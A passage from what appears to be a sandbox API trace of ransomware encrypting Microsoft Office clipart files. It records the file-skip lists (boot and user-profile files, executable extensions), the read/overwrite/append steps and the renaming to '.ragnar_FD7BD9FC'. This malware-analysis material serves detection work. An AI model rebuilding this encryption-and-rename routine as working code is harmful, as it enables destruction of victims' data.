returned 1 [0092.172] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.172] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.172] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf")) returned 0x20 [0092.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.172] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1344) returned 1 [0092.172] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x537, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.172] GetProcessHeap () returned 0x580000 [0092.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.173] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.174] VirtualAlloc (lpAddress=0x0, dwSize=0x540, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.174] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x540, lpOverlapped=0x0) returned 1 [0092.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.174] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x540, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.174] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x540, lpOverlapped=0x0) returned 1 [0092.174] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x540, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.174] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x540, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.175] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.175] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.175] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.175] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.175] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.175] GetProcessHeap () returned 0x580000 [0092.175] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.175] CloseHandle (hObject=0xf4) returned 1 [0092.175] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" [0092.175] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.ragnar_FD7BD9FC" [0092.175] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.176] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83e1500, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83e1500, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02228_.WMF", cAlternateFileName="")) returned 1 [0092.176] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.176] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02228_.WMF" | out: lpString1="SO02228_.WMF") returned="SO02228_.WMF" [0092.176] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF") returned=".WMF" [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="autorun.inf") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="boot.ini") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="bootfont.bin") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="bootsect.bak") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="bootmgr") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="bootmgr.efi") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="desktop.ini") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="iconcache.db") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="ntldr") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="ntuser.dat") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="ntuser.ini") returned 1 [0092.176] lstrcmpiW (lpString1="SO02228_.WMF", lpString2="thumbs.db") returned -1 [0092.176] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.176] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.176] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.176] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.176] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.176] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.176] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf")) returned 0x20 [0092.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.177] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=820) returned 1 [0092.177] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.177] GetProcessHeap () returned 0x580000 [0092.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.177] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.211] VirtualAlloc (lpAddress=0x0, dwSize=0x334, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.211] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x334, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x334, lpOverlapped=0x0) returned 1 [0092.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.212] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x334, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.212] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x334, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x334, lpOverlapped=0x0) returned 1 [0092.212] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x334, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.212] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.212] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.212] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.212] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.212] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.212] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.212] GetProcessHeap () returned 0x580000 [0092.212] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.212] CloseHandle (hObject=0xf4) returned 1 [0092.212] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" [0092.213] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.ragnar_FD7BD9FC" [0092.213] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.213] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd30a00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcd30a00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02233_.WMF", cAlternateFileName="")) returned 1 [0092.213] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.213] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02233_.WMF" | out: lpString1="SO02233_.WMF") returned="SO02233_.WMF" [0092.213] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF") returned=".WMF" [0092.213] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.213] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="autorun.inf") returned 1 [0092.213] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="boot.ini") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="bootfont.bin") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="bootsect.bak") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="bootmgr") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="bootmgr.efi") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="desktop.ini") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="iconcache.db") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="ntldr") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="ntuser.dat") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="ntuser.ini") returned 1 [0092.214] lstrcmpiW (lpString1="SO02233_.WMF", lpString2="thumbs.db") returned -1 [0092.214] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.214] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.214] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.214] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.214] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.214] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.214] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf")) returned 0x20 [0092.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.215] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2304) returned 1 [0092.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.215] GetProcessHeap () returned 0x580000 [0092.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.215] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.217] VirtualAlloc (lpAddress=0x0, dwSize=0x900, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.217] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x900, lpOverlapped=0x0) returned 1 [0092.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.217] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x900, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.217] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x900, lpOverlapped=0x0) returned 1 [0092.217] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x900, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.217] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x900, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.218] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.218] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.218] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.218] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.218] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.218] GetProcessHeap () returned 0x580000 [0092.218] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.218] CloseHandle (hObject=0xf4) returned 1 [0092.218] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" [0092.218] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.ragnar_FD7BD9FC" [0092.218] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.219] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73eb9200, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73eb9200, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xe88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02252_.WMF", cAlternateFileName="")) returned 1 [0092.219] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.219] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02252_.WMF" | out: lpString1="SO02252_.WMF") returned="SO02252_.WMF" [0092.219] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF") returned=".WMF" [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="autorun.inf") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="boot.ini") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="bootfont.bin") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="bootsect.bak") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="bootmgr") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="bootmgr.efi") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="desktop.ini") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="iconcache.db") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="ntldr") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="ntuser.dat") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="ntuser.ini") returned 1 [0092.219] lstrcmpiW (lpString1="SO02252_.WMF", lpString2="thumbs.db") returned -1 [0092.220] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.220] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.220] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.220] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.220] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.220] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.220] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf")) returned 0x20 [0092.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.221] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3720) returned 1 [0092.221] 